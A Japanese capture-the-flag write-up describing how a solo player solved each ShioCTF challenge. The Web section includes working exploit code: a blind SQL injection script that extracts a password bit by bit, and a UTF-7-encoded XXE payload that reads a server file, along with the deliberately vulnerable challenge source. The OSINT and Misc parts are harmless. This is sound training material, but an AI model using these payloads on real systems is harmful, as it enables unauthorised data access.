2/12 - 2/14という日程で開催された。ひとりチームの猿沢池の鹿🦌で参加し、全完して1位🙌
- [Web 172] SimpleDB (xxx solves)
- [Web 258] card (xxx solves)
- [OSINT 100] aburasoba (xxx solves)
- [OSINT 100] club (xxx solves)
- [Misc 100] fictional mountain (xxx solves)
- [Welcome 100] to ShioCTF (xxx solves)
[Web 172] SimpleDB (xxx solves)
adminのパスワードを特定してください!
(問題サーバのURL)
添付ファイル: SimpleDB.zip
ログインできるだけのWebアプリだ。以下のようなソースコードが与えられている。
from flask import Flask, request, jsonify, render_template import sqlite3 app = Flask(__name__) def init_db(): conn = sqlite3.connect('database.db') c = conn.cursor() c.execute('CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT)') c.execute("INSERT INTO users (username, password) VALUES ('admin', 'shioCTF{**SECRET**}')") conn.commit() conn.close() init_db() @app.route('/', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] conn = sqlite3.connect('database.db') c = conn.cursor() query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" c.execute(query) result = c.fetchone() conn.close() if result: return jsonify({'message': 'Login successful!'}), 200 else: return jsonify({'message': 'Login failed!'}), 401 else: return render_template('index.html') if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=49999)
明らかにSQLiがある。ただし、ログインに成功したか失敗したかの1ビットの情報しか得られないので、Boolean-based SQLiでやっていく。早速以下のようなスクリプトを用意するが、shioCTF{****}
しか返ってこない。
import httpx flag = '' with httpx.Client(base_url='http://(省略)/') as client: i = 8 while True: c = 0 for j in range(7): r = client.post('/', data={ 'username': f"' union select 1, 2, 3 from users where username = 'admin' and unicode(substr(password, {i}, 1)) & {1 << j}; -- ", 'password': 'a' }) if 'successful' in r.text: c |= 1 << j flag += chr(c) print(flag) i += 1
困ってshioさんに報告したところ、(おそらく)修正が入る。が、やはり shioCTF{****}
しか返ってこない。もしかしてパスワードが shioCTF{****}
である admin
とそうでない admin
がいる*1のではないか。以下のように修正する。
import httpx flag = '' with httpx.Client(base_url='http://20.205.137.99:49999/') as client: i = 8 while True: c = 0 for j in range(7): r = client.post('/', data={ 'username': f"' union select 1, 2, 3 from users where unicode(substr((select password from users where password != 'shioCTF{{****}}' limit 1 offset 1), {i}, 1)) & {1 << j}; -- ", 'password': 'a' }) if 'successful' in r.text: c |= 1 << j flag += chr(c) print(flag) i += 1
実行するとフラグが得られた。
shioCTF{b1ind_sqli_i5_d4nger0u5!}
[Web 258] card (xxx solves)
誕生日カードを送り合えるWebアプリができました!
(問題サーバのURL)
添付ファイル: card.zip
以下のようなソースコードが与えられている。ユーザ同士でメッセージを送りあえるアプリらしい。添付ファイルや Dockerfile
から、flag.txt
というフラグの含まれるファイルが、このPythonのコード等と同じ /app
に配置されているとわかる。
メッセージはなぜかXMLとして保存・参照されるほか、そもそもユーザからXMLを受け取ってそのまま保存する形になっている。保存先のファイル名はユーザIDから生成しており、かつそのユーザIDはユーザが操作できるようになっているが、書き込み時も読み込み時も後ろに .xml
が付加されるので不便だ。
from flask import Flask, request, make_response, render_template, redirect, url_for from lxml import etree import os import secrets import uuid app = Flask(__name__) cards_directory = "cards" os.makedirs(cards_directory, exist_ok=True) @app.route('/') def index(): user_id = request.cookies.get('user_id') if not user_id: response = make_response(render_template('home.html')) user_id = secrets.token_hex(16) response.set_cookie('user_id', user_id) return response else: return render_template('home.html') @app.route('/send', methods=['GET', 'POST']) def send(): if request.method == 'POST': recipient_id = request.form['recipient_id'] card_data = request.form['card_data'] card_data = card_data.replace('&','') card_data = card_data.replace('%','') file_name = f"{recipient_id}_{uuid.uuid4()}.xml" file_path = os.path.join(cards_directory, file_name) with open(file_path, 'w') as file: file.write(card_data) return redirect(url_for('index')) else: return render_template('send.html') @app.route('/view') def view(): user_id = request.cookies.get('user_id') card_files = [f for f in os.listdir(cards_directory) if f.startswith(user_id)] cards = [] parser = etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True) for card_file in card_files: file_path = os.path.join(cards_directory, card_file) try: with open(file_path, 'rb') as file: xml_data = etree.parse(file, parser) message = xml_data.xpath('/card/message/text()') if message: cards.append(message[0]) else: cards.append("Invalid card format.") except etree.XMLSyntaxError as e: cards.append(f"Error parsing XML: {e}") return render_template('view.html', cards=cards) if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=60001)
XMLといえばXML External Entity(XXE)だ。メッセージの閲覧時にXMLのパースが行われるが、etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True)
とわざわざ危険になるよう引数が渡されている。ただし、XMLの保存時に以下のように %
と &
が削除されてしまっている。
card_data = card_data.replace('&','') card_data = card_data.replace('%','')
どうにかならんかとHackTricksのテクニック一覧を眺めていると、UTF-7を使うものが見つかった。これだ。
以下のようなスクリプトを用意する。
import httpx with httpx.Client(base_url='http://(省略)/') as client: client.get('/') user_id = client.cookies['user_id'] r = client.post('/send', data={ 'recipient_id': user_id, 'card_data': ''' <?xml version="1.0" encoding="UTF-7"?> +ADwAIQ-DOCTYPE card +AFsAPAAh-ENTITY h SYSTEM +ACI-file:///app/flag.txt+ACIAPgBdAD4APA-card+AD4APA-message+AD4AJg-h+ADsAPA-/message+AD4APA-/card+AD4- '''.strip() }) print(r.text) r = client.get('/view') print(r.text)
実行するとフラグが得られた。
$ python3 a.py | grep shioCTF shioCTF{UTF7_1s_u5efu1_enc0d1ng}
shioCTF{UTF7_1s_u5efu1_enc0d1ng}
[OSINT 100] aburasoba (xxx solves)
ある大学生に人気の油そば。
このお店で流れているBGMはずっと変わっていない。
その音楽の楽曲名を答えよ。
例えば、葬送のフリーレンは shioCTF{勇者} 等となる。
油そばの写真が与えられる。これはshioさんが開催されているCTFだから、「ある大学生」というのはshioさんのことだろう。shioさんは早稲田大学の学生であることがXのbioからわかっている。雑に「早稲田 油そば」で検索すると、周辺の油そば店をリストアップしたWebページがヒットする。一番上の「武蔵野アブラ學会 早稲田本店」がそれっぽい。
「武蔵野アブラ學会 早稲田本店 BGM」で検索するとニコニコ大百科の記事がヒットするが、この中に
店内BGMにはいつもルパン三世のテーマが流れており
という記述がある。これが正解だった。
shioCTF{ルパン三世のテーマ}
[OSINT 100] club (xxx solves)
shioは大学のサークルでCTFdを使って、Webアプリをホストしたことがある。
そのサークル名を答えよ。
例えば、東京大学のTSGである場合はshioCTF{TSG}
となる。
前述のように、shioさんは早稲田大学の学生だ。早稲田でCTFといえばm1z0r3だけれどもこれは通らず。Googleで「早稲田大学 ctf サークル」を検索すると一番上にWINCが出てくる。雑にこれを提出すると正解だった。
shioCTF{WINC}
[Misc 100] fictional mountain (xxx solves)
彼女が立っている山の標高をメートルで答えてください。
例えば、富士山の場合はshioCTF{3776}
になります。
原神のスクリーンショットが与えられる。左上にミニマップが表示されており、これをもとに撮影位置を特定できないかと考える。
「genshin map」で検索するとインタラクティブに世界地図を確認できるWebサイトが見つかる。まず、ミニマップに表示されている以下のアイコンはワープポイントだと分かる。
ミニマップで表示されていた辺りはやや緑っぽいこと、またワープポイント付近であることを考慮しつつ、先程の世界地図でそれっぽい場所がないか探す。すると、南東の島嶼群に見つかった。地名が分かると嬉しいものの、このWebサイトでは得られないのだろうか。
適当なwikiのマップ一覧から、このあたりは稲妻という地方らしいと分かる。ところで、この問題の目的は山の標高を特定することだった。「原神 山 標高」で検索すると標高ランキングが見つかる。稲妻の山々の標高ももちろんある。ミニマップで表示されていたのは八酝山であり、その高さは158mだ。
shioCTF{158}
[Welcome 100] to ShioCTF (xxx solves)
shioCTF{flag}
はい。
shioCTF{flag}
*1:たとえばDROP TABLEせずINSERT INTOのみが行われたというような理由で